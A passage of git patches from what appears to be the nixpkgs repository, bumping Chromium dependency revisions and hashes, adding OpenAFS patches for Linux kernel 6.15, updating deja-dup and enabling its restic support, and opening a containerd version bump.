         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
         "rev": "464c1d097891a1462ab28bf8bb763c1683883892",
@@ -266,8 +271,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "fbce2a76c00cd2e5aeffe3c2e71d44c284ec52d6",
-        "hash": "sha256-bGa0BCvzNxEKu9VZEwJ1NLt+b2KKWUxshpKSN2FHNEM="
+        "rev": "01f23648c6b84de6c0f717fa4e1816f53b9ee72e",
+        "hash": "sha256-hNzQZQxaa2Wtl7GWWF852cFmmXy4pc15Pp0d59TTfnI="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -296,8 +301,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "82090e67c24259c343c83fd9cefe6ff0be7a7eca",
-        "hash": "sha256-LhSIX7X0+dmLADYGNclg73kIrXmjTMM++tJ92MKzanA="
+        "rev": "2d1abd3bbb4d2396ed63b3e5accd66724cf62307",
+        "hash": "sha256-MAVHzILj9f+/HfVjZXyJkSQM3WBwzg7IDpAwiYHfA88="
       },
       "src/third_party/freetype-testing/src": {
         "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
@@ -311,18 +316,18 @@
       },
       "src/third_party/harfbuzz-ng/src": {
         "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git",
-        "rev": "8efd2d85c78fbba6ca09a3e454f77525f3b296ce",
-        "hash": "sha256-/WNGrvyvJ+FGqoIoHapaux1iu63zjID0yR30HYPpxaw="
+        "rev": "9f83bbbe64654b45ba5bb06927ff36c2e7588495",
+        "hash": "sha256-lNnCtgIegUy4DLhYaGZXcEaFw83KWAHoKpz69AEsWp4="
       },
       "src/third_party/ink/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink.git",
-        "rev": "c542d619a8959415beda5a76fe89ffa2f83df886",
-        "hash": "sha256-sMqSHYs3lvuHXEov1K9xWRd8tUPG00QBJl6an0zrxwA="
+        "rev": "da9cb551ada1e55309b0ac89b9fbff2d29dbfe1e",
+        "hash": "sha256-MqJXwtUGL/IakwOO63JX4gx0gTocgQT3hbhw6OcYUbc="
       },
       "src/third_party/ink_stroke_modeler/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git",
-        "rev": "f61f28792a00c9bdcb3489fec81d8fd0ca1cbaba",
-        "hash": "sha256-XMLW/m+Qx+RVgo1DeYggBLjUYg/M+2eHwgjVWrA/Erw="
+        "rev": "03db1ed37b8b10b47d62ed0fa142d198a3861689",
+        "hash": "sha256-jnIljheEBq96e6zZO87bhVJbA1vIjiRzm1Hh6YMBdnU="
       },
       "src/third_party/instrumented_libs": {
         "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git",
@@ -346,8 +351,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "52204f78f94d7512df1f0f3bea1d47437a2c3a58",
-        "hash": "sha256-8keF4E6ag/rikv5ROaWUB7oganjViupEAdxW1NJVgmE="
+        "rev": "cd430b47a54841ec45d64d2377d7cabaf0eba610",
+        "hash": "sha256-QT9PQ9bF+eCPfRLkcHpH4jc0UZfGPc98fHf8QDV5bZg="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -356,8 +361,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "c9fb4b3a6fb54aa8c20a03bbcaa0a4a985ffd34b",
-        "hash": "sha256-Omv4sp9z44eINXtaE0+1TzIU1q2hWviANA79fmkF78U="
+        "rev": "4c8cc4b365a505ce35be1e0bd488476c5f79805d",
+        "hash": "sha256-eGI/6wk6IOUPvX7pRTm4VJk1CqkkxalTu84L36i/D6k="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -376,8 +381,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "c31f0c0e6df5725c6b03124b579c9cf815fd10f4",
-        "hash": "sha256-Dz7DqucOxr5HzLNOdGNOG4iMw66bkOj64qOvqeADTic="
+        "rev": "b10387fdbbca18192f85eaa5323a59f44bf9c468",
+        "hash": "sha256-L2QG0pUmGjGdtdlivxYfxSqO9YaVHpIT6lvJwBMTxMw="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -391,8 +396,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "9680f2b1781fb33b9eeb52409b75c679c8a954be",
-        "hash": "sha256-nfnt5JXyKR9JR3BflpGEkwzDo0lYa/oeCDm2bKH/j1g="
+        "rev": "719f60edc51b6141a2434bf1b5110c2fb075b246",
+        "hash": "sha256-W62uXVbQiq6Ef3bar2NsCXJoz5KKUK8Y/9n2vK7Vf3Q="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -401,13 +406,8 @@
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "8acf9249344ea9ff9806d0d7f46e07640fddf550",
-        "hash": "sha256-qIIyCHay3vkE14GVCq77psm1OyuEYs4guAaQDlEwiMg="
-      },
-      "src/third_party/beto-core/src": {
-        "url": "https://beto-core.googlesource.com/beto-core.git",
-        "rev": "89563fec14c756482afa08b016eeba9087c8d1e3",
-        "hash": "sha256-QPFGjtu/I0r4+dTQ2eSlWIEYwJ43B3yW0q4QtVFTVGY="
+        "rev": "e71de0e0c312caf8d2fa22f132619c6a68496444",
+        "hash": "sha256-dzJtRhoPA1FWeu0xjd7kJ1Q2nT5gIkKpIgQmywsRlPY="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -416,8 +416,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "0260caf74b5c115507ee0adb6d9cdf6aefb0965f",
-        "hash": "sha256-DbRup4tOAYv27plzB2JKi2DBX2FVMDtFR7AzuovXUDU="
+        "rev": "0976ddeae0863ef5fb3f9ad09906224b0989f9ad",
+        "hash": "sha256-NyXGd7SwsECGBJ2qodGYB3os+UBgIOg/I8mnrsZJuTg="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -426,8 +426,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "c760d160caa05792d3ed7650e85861c9f9462506",
-        "hash": "sha256-/nAK2uLjpPem37XCHHx3LGZEpvL/7w4Uw5bVpQ4C6ms="
+        "rev": "dd661c033abdde11022779f40375c52632a9f43a",
+        "hash": "sha256-1/G06WCO5ssBS3+T6E3rnGdIf0r205wVxfJX7lgivR4="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -466,8 +466,8 @@
       },
       "src/third_party/expat/src": {
         "url": "https://chromium.googlesource.com/external/github.com/libexpat/libexpat.git",
-        "rev": "624da0f593bb8d7e146b9f42b06d8e6c80d032a3",
-        "hash": "sha256-Iwu9+i/0vsPyu6pOWFxjNNblVxMl6bTPW5eWyaju4Mg="
+        "rev": "69d6c054c1bd5258c2a13405a7f5628c72c177c2",
+        "hash": "sha256-qe8O7otL6YcDDBx2DS/+c5mWIS8Rf8RQXVtLFMIAeyk="
       },
       "src/third_party/libipp/libipp": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/libipp.git",
@@ -511,8 +511,8 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "027bbee30a0103b99d86327b48d29567fed11688",
-        "hash": "sha256-+4I6B1aTa+txhey6LMeflU0pe39V6TJ+lNIJPh6yFGM="
+        "rev": "40ec928b3fadcf8edd836445bb5842a11aeb7a2d",
+        "hash": "sha256-aUHvIv78KTiyN/cOYNuhW4UCOD55s8l8VLu4oP0Pk1s="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
@@ -526,8 +526,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "ccdf870348764e4b77fa3b56accb2a896a901bad",
-        "hash": "sha256-8sH11psWPXLMy3Q0tAizCZ/woUWvTCCUf44jcr2C4Xs="
+        "rev": "9f9b5cf660dcfa0d3fdee41cf4ffbe4bb6e95114",
+        "hash": "sha256-OYmsMPz7nJwkVSpsDW7SbqrCU5raC1k3Mh/UkonCujM="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -546,8 +546,8 @@
       },
       "src/third_party/nasm": {
         "url": "https://chromium.googlesource.com/chromium/deps/nasm.git",
-        "rev": "767a169c8811b090df222a458b25dfa137fc637e",
-        "hash": "sha256-yg4qwhS68B/sWfcJeXUqPC69ppE8FaIyRc+IkUQXSnU="
+        "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
+        "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs="
       },
       "src/third_party/neon_2_sse/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git",
@@ -561,8 +561,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "db9e1ea566813606ca055868be13f6ff4a760ab8",
-        "hash": "sha256-K/frmCf3JMvPVZc6ZKPFAQrq4Pz4io3XBvADS0O5u78="
+        "rev": "40fe10467c27b6536e5d3241e5881b6e9f243216",
+        "hash": "sha256-fKXCuGzNVcN8l/2VNR5c9lwUjmSDb7MuEAVF5h8VXQU="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -576,13 +576,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "ca83e69429af8f0bfa34b22dc54f538b9eebf5c5",
-        "hash": "sha256-6gsur+fx546YJn/PUOOthuj+XrSIruVUeAYl4nRI6xM="
+        "rev": "c82c611f105c0df064cc8c76363578caf9eafb75",
+        "hash": "sha256-kcrWcvbbGgQTfGypJ2EaLunYtSipJJRAin2jHunZoCU="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "054635b91453895720951f7329619d003a98b3e4",
-        "hash": "sha256-2jKRhHLitR0m2a4/asvVvTqAOhUlyLsBBSjpQAer4GA="
+        "rev": "f35ae1939989c58c29df43f9c2d8610f5b932715",
+        "hash": "sha256-SyYTZnNar6F6/k6PGrkRan3l9hAikEVRciDQQaR7Jvs="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -591,8 +591,8 @@
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "4e1831c02c74334a35ead03362f3342b6cea2a86",
-        "hash": "sha256-mB1QaAuY8vfv8FasPyio1AF75iYH+dM8t1GIr0Ty/+g="
+        "rev": "290ee6fff0c36614702d6b297c148e3fa08e056a",
+        "hash": "sha256-jRHF7vZPmh70jNFVukfWzVnA2dBLSDSnMWVyZ9e08n4="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -621,13 +621,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "07834ba1e5ebfb333d0b73556b7c4d62a53cb455",
-        "hash": "sha256-DTz351NpoygQLESm/z+fzFc/KGJyQelLnWpzNMmNT9o="
+        "rev": "be408bdc2c1501ef25206145a49dcebb98db34b5",
+        "hash": "sha256-XlAE782PsEysPVIBM/Q8VdE9XnvoYUVaeMmUUoYFgvM="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "bcce46ca33b67cc302dd53927a63013b8f53bf73",
-        "hash": "sha256-ei95CJRfNPrsYt8XcDi7Pnl5dGiJu3qs7R4rAcZ24Uc="
+        "rev": "0dfd95a49aed617f242c8b06dd5b255d1cb07776",
+        "hash": "sha256-HBqkqEoyQo3KuRCwP5NW9kuY9maaBYSpjA1lcBdFjxk="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -646,8 +646,8 @@
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "4982425ff1bdcb2ce52a360edde58a379119bfde",
-        "hash": "sha256-QTGU9Dgc6rgMeFZvhZyYeYj5W+ClJO8Yfa4+K7TmEec="
+        "rev": "7905fa19e456df5aa8e2233a7ec5832c9c6c287b",
+        "hash": "sha256-Wi8mttxM1fuLqrL2q6qPnpmyAfmDqJGA8Wub+yexFLA="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -656,18 +656,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "c8ed430d092acd485f00e7a9d7a888a0857d0430",
-        "hash": "sha256-S5zkpQZdhRdnZRUrUfi5FCrF2XFe3y/adAWwfh1OQYE="
+        "rev": "42d6877b1aa1cf324eb03ccf9b13511400341deb",
+        "hash": "sha256-KummGT7CUoGd3lCGXvtSFcFD1FhSlJXDcEi1WKUza70="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "1648e664337ca19a4f8679cbb9547a5b4b926995",
-        "hash": "sha256-CI0X6zbRV/snGcQZOUKQFn8Zo6D6Out6nN027HGZaa8="
+        "rev": "96793fb0ff6fb5d4328cc6f71d84f5cb2d835daf",
+        "hash": "sha256-rAtsw8JV8EwrNzjK5p7JbWQa6fHfpByvZcP71hHC8uM="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "e57f993cff981c8c3ffd38967e030f04d13781a9",
-        "hash": "sha256-nr7pGPNPMbmL/XnL27M4m5in8qnCDcpNtVsxBAc7zms="
+        "rev": "fc9889c889561c5882e83819dcaffef5ed45529b",
+        "hash": "sha256-HwFP4KJuA+BMQVvBWV0BCRj9U5I3CLEU+5bBtde2f6w="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -676,38 +676,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "8c88e0c4c94a21de825efccba5f99a862b049825",
-        "hash": "sha256-s0Pe7kg5syKhK8qEZH8b7UCDa87Xk32Lh95cQbpLdAc="
+        "rev": "bab63ff679c41eb75fc67dac76e1dc44426101e1",
+        "hash": "sha256-hi4vCwdCnwuYodUYq75niCZt2t9lERQH6529/R+7nH8="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "2e83ad7e6f2cc51f7eaff3ffeb10e34351b3c157",
-        "hash": "sha256-u4WDbWywua71yWB1cVIt1IDZRe4NnT5bUq3yHLKBgPo="
+        "rev": "8e9165a3d162967a424dcf2ff645a98b50381cce",
+        "hash": "sha256-GsoaeO3FMzMtMStg1Wp0KUHU3Xxmmr7t3lDyu0ervNk="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "78c359741d855213e8685278eb81bb62599f8e56",
-        "hash": "sha256-VqKQeJd81feSgYnYLqb2sYirCmnHN9Rr19/4cPZ2TzE="
+        "rev": "e2e53a724677f6eba8ff0ce1ccb64ee321785cbd",
+        "hash": "sha256-lIuJ50zi9UIMrP/FePI8jHFhJ5LsKhthDY4gIHeZNpo="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "723d6b4aa35853315c6e021ec86388b3a2559fae",
-        "hash": "sha256-tDW5ed6gsDKlCKf4gT8MNi1yaafocUTohL1upGKB+Cc="
+        "rev": "fb78607414e154c7a5c01b23177ba719c8a44909",
+        "hash": "sha256-CeIjyW90Ri0MvhyFfYgss5Rjh5fHKhQf7CgBEcB/nPk="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "289efccc7560f2b970e2b4e0f50349da87669311",
-        "hash": "sha256-Cw7LWBPRbDVlfmeMM4CYEC9xbfqT1wV7yuUcpGMLahs="
+        "rev": "0b8196724e4ad28cc7459b82a9b75f252c08cb3e",
+        "hash": "sha256-oL4lyUH26eO6eJy7EQmuXdt4oy3eQ65fribfMSOZV+8="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "0d5b49b80f17bca25e7f9321ad4e671a56f70887",
-        "hash": "sha256-NdvjtdCrNVKY23B4YDL33KB+/9HsSWTVolZJOto8+pc="
+        "rev": "4e246c56ec5afb5ad66b9b04374d39ac04675c8e",
+        "hash": "sha256-MmC4UVa9P/0h7r8IBp1LhP9EztwyZv/ASWKKj8Gk1T8="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "73d7d74bc979c8a16c823c4eae4ee881153e000a",
-        "hash": "sha256-2GII+RBRzPZTTib82srUEFDG+CbtPTZ6lX3oDJBC2gU="
+        "rev": "cea6ec1cdd37494c1f0fc5619c6c356ac33372fb",
+        "hash": "sha256-iXQZ6Qpe0li+QeThxMUCn45OufZ8W/qJcejpMb4/gWc="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -716,8 +716,8 @@
       },
       "src/third_party/wasm_tts_engine/src": {
         "url": "https://chromium.googlesource.com/chromium/wasm-tts-engine",
-        "rev": "53d2aba6f0cf7db57e17edfc3ff6471871b0c125",
-        "hash": "sha256-t5eeehwspRLaowEMPLa8/lV5AHamXQBfH/un0DHLVAM="
+        "rev": "352880bb49e2410707543c252ef6b94a21b0f47f",
+        "hash": "sha256-TFkniS4XvP0RlPnI1lv4RxxSY44RUuwCMKmmybENEBw="
       },
       "src/third_party/wayland/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git",
@@ -751,8 +751,8 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "92f4eb4dae0f5439f2cdc7ce467d66b10e165f42",
-        "hash": "sha256-vXyp0+6eyKOzzQbkRa8f8dO+B9cyUCY2hCZEFc7+7lU="
+        "rev": "168536ad91bff176bbe31ae692d97f8bfe9fb86d",
+        "hash": "sha256-HB16HM4Gj+2F26tyN393VmHbGxvKOZ+M949059odN/4="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
@@ -761,8 +761,8 @@
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "2c8f5be6924d507ee74191b1aeadcec07f747f21",
-        "hash": "sha256-cNONf88oSbsdYuSdPiLxgTI973qOP6fb1OKb2WMQMMg="
+        "rev": "cec4daea7ed5da94fc38d790bd12694c86865447",
+        "hash": "sha256-mxRckkiBIpQp2Qxj6fcer3jDftp3wlg+aO4BoUHhyiY="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -771,8 +771,8 @@
       },
       "src/third_party/weston/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git",
-        "rev": "ccf29cb237c3ed09c5f370f35239c93d07abfdd7",
-        "hash": "sha256-y2srFaPUOoB2umzpo4+hFfhNlqXM2AoMGOpUy/ZSacg="
+        "rev": "4eb10b123b483327214d8da5da67e8bbeeaed8fe",
+        "hash": "sha256-VNHUAtfTB24SIf2kl+MMXF3rG5cJOPM93WU/sVSIQ1A="
       },
       "src/third_party/xdg-utils": {
         "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git",
@@ -781,18 +781,18 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "d6fc3be20b0d3e3742157fa26c5359babaa8bc8b",
-        "hash": "sha256-p5DjGNH9IR0KPWSFmbsdt2PU+kHgWRAnBw7J9sLV/S8="
+        "rev": "474d7e58d4b8f4bd1a98ee74bc57858769f7d925",
+        "hash": "sha256-UO+nOh7R+3xTSxF2u8dIrv7qn/QmhnDr2J5Ciumj93M="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
-        "rev": "ef2bf5781112a4cd6b62ac1817f7842bbdc7ea8f",
-        "hash": "sha256-hDDNrUXGxG/o1oZnypAnuLyIeM16Hy6x1KacGu9Hhmw="
+        "rev": "d654fca78690fa15cceb8058ac47454d914a0e63",
+        "hash": "sha256-Ginvak0y1CjURT3mQZzdLn3MW9vXxC7T0KLsM6SHDV0="
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "5297e56d91816747d539abca52b578e5832135f0",
-        "hash": "sha256-Fi4pl6xSXkHF4XaQNfNzULVjQZSzDfaHFIyIxH103go="
+        "rev": "44fdd9108308773dd3f4fa040de5f4f75edf671f",
+        "hash": "sha256-BkLOmb97p2NcAIuQiDjIoVAe49h9iv79rC5G8wyD1as="
       }
     }
   },

From 7baf712d9862e46454abba2ba391d592cac1928e Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Tue, 27 May 2025 01:20:39 -0700
Subject: [PATCH 0132/4511] linuxPackages.openafs: Patch for Linux kernel 6.15

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit 9ecb156898854647eda171d499401f1f6e27167f)
---
 pkgs/servers/openafs/1.8/module.nix | 36 +++++++++++++++++++++++++++++
 1 file changed, 36 insertions(+)

diff --git a/pkgs/servers/openafs/1.8/module.nix b/pkgs/servers/openafs/1.8/module.nix
index 2ca0e2b9ca51..5e3c9010ed55 100644
--- a/pkgs/servers/openafs/1.8/module.nix
+++ b/pkgs/servers/openafs/1.8/module.nix
@@ -40,6 +40,42 @@ stdenv.mkDerivation {
       decode = "base64 -d";
       hash = "sha256-08jedwZ1KX1RSs8y9sh7BUvv5xK9tlzZ6uBOR4kS0Jo=";
     })
+    # Linux: Add required MODULE_DESCRIPTION
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16372/revisions/39189eba45542376e668636bd79a93ae6a8a7cd2/patch";
+      decode = "base64 -d";
+      hash = "sha256-j5ckKQvybEvmlnFs5jX8g8Dfw37LYWGnfsl4hnZ3+A4=";
+    })
+    # linux: inode_ops mkdir returns struct dentry *
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16373/revisions/769847e205d5908a0c430f7bcfbd2f48e19f8bf8/patch";
+      decode = "base64 -d";
+      hash = "sha256-znv5gunyPnJgi4SRFERJudtYFqiS+AVYDWfvr52Ku3s=";
+    })
+    # Linux: Use __filemap_get_folio()
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16374/revisions/f187add554da9e9c52752edbfa98f486f683cf25/patch";
+      decode = "base64 -d";
+      hash = "sha256-+ay87ThSn6QyPZcN0+oE01Wqbxmz0Z1KXYwocQCvYLg=";
+    })
+    # Linux: Use folio_wait_locked()
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16375/revisions/87a93f6488585553d833e1397e7f0dae0545cb7e/patch";
+      decode = "base64 -d";
+      hash = "sha256-MOVX2LFe8OBnvsQ2UdLvwKrwztOmnu1rdIou4CF+EBs=";
+    })
+    # cf: Introduce AC_CHECK_LINUX_SYMBOL
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16376/revisions/bab5968d7f4639d4a0cbe81aaa3e9716dda00632/patch";
+      decode = "base64 -d";
+      hash = "sha256-d6DZqDTW1uEKSB5PsomS4ix9fYYQzdQVmDATKl6n7x4=";
+    })
+    # cf: check for dentry flag macros/enums
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16377/revisions/f791d8ca4804486c656bc7c221076480df39b465/patch";
+      decode = "base64 -d";
+      hash = "sha256-7B0VJE3FeSQU1ElvXI5zXCPq1JRLAycyhqIQuDdR7xE=";
+    })
   ];
 
   nativeBuildInputs = [

From 62d11ee9dd6f846d0b9e47fbd5373b1022b2c18d Mon Sep 17 00:00:00 2001
From: Johannes Arnold <jarnold@b1-systems.de>
Date: Sat, 10 May 2025 20:08:53 +0200
Subject: [PATCH 0133/4511] deja-dup: 47.0 -> 48.1

(cherry picked from commit 495451554fc9e53e47dc86ece5f6e5c4736566b2)
---
 pkgs/by-name/de/deja-dup/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/deja-dup/package.nix b/pkgs/by-name/de/deja-dup/package.nix
index 056172d876fc..ac9352f78a47 100644
--- a/pkgs/by-name/de/deja-dup/package.nix
+++ b/pkgs/by-name/de/deja-dup/package.nix
@@ -27,14 +27,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "deja-dup";
-  version = "47.0";
+  version = "48.1";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "deja-dup";
     rev = finalAttrs.version;
-    hash = "sha256-MjZ+NkNAzwEnC9R48Q5Cb3+c5jM7ooOv7+5TQ6Xo4LM=";
+    hash = "sha256-pB5J+ElSnAE7rX74mgQBgnbOTVFJk/zOUBsJmnVETUE=";
   };
 
   patches = [

From 0a4ba56c7ec501f1f0ee052028f6ec0df756073b Mon Sep 17 00:00:00 2001
From: Johannes Arnold <jarnold@b1-systems.de>
Date: Sun, 25 May 2025 22:55:07 +0200
Subject: [PATCH 0134/4511] deja-dup: 47.0 -> 48.2

(cherry picked from commit 506a5143544a4e109f867b72b6fbe39b1eadd926)
---
 pkgs/by-name/de/deja-dup/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/deja-dup/package.nix b/pkgs/by-name/de/deja-dup/package.nix
index ac9352f78a47..0644dbd47458 100644
--- a/pkgs/by-name/de/deja-dup/package.nix
+++ b/pkgs/by-name/de/deja-dup/package.nix
@@ -27,14 +27,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "deja-dup";
-  version = "48.1";
+  version = "48.2";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "deja-dup";
     rev = finalAttrs.version;
-    hash = "sha256-pB5J+ElSnAE7rX74mgQBgnbOTVFJk/zOUBsJmnVETUE=";
+    hash = "sha256-g6bGOlpiEMJ9d+xe2GJyTBWAuGlY9EZTlJaYhB/5Ldw=";
   };
 
   patches = [

From 46fb146f4b3ce21ed2ddbe3fbd0f39cdefa986d1 Mon Sep 17 00:00:00 2001
From: Johannes Arnold <jarnold@b1-systems.de>
Date: Sat, 10 May 2025 20:18:42 +0200
Subject: [PATCH 0135/4511] deja-dup: add restic support

(cherry picked from commit 65f536eb58d4743e7468185beaa0bb2e32a81ad3)
---
 pkgs/by-name/de/deja-dup/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/de/deja-dup/package.nix b/pkgs/by-name/de/deja-dup/package.nix
index 0644dbd47458..80b7a04c6fc9 100644
--- a/pkgs/by-name/de/deja-dup/package.nix
+++ b/pkgs/by-name/de/deja-dup/package.nix
@@ -22,6 +22,7 @@
   json-glib,
   duplicity,
   rclone,
+  restic,
   nix-update-script,
 }:
 
@@ -68,6 +69,8 @@ stdenv.mkDerivation (finalAttrs: {
   mesonFlags = [
     "-Dduplicity_command=${lib.getExe duplicity}"
     "-Drclone_command=${lib.getExe rclone}"
+    "-Denable_restic=true"
+    "-Drestic_command=${lib.getExe restic}"
   ];
 
   preFixup = ''

From 2f76a57f6d60b33a0589ad93cb9f88587454786d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 17 May 2025 14:43:30 +0000
Subject: [PATCH 0136/4511] containerd: 2.0.5 -> 2.1.0

(cherry picked from commit 3ae75c4bab39831a1829ac3aad53199f3e9037a8)
---
 pkgs/by-name/co/containerd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

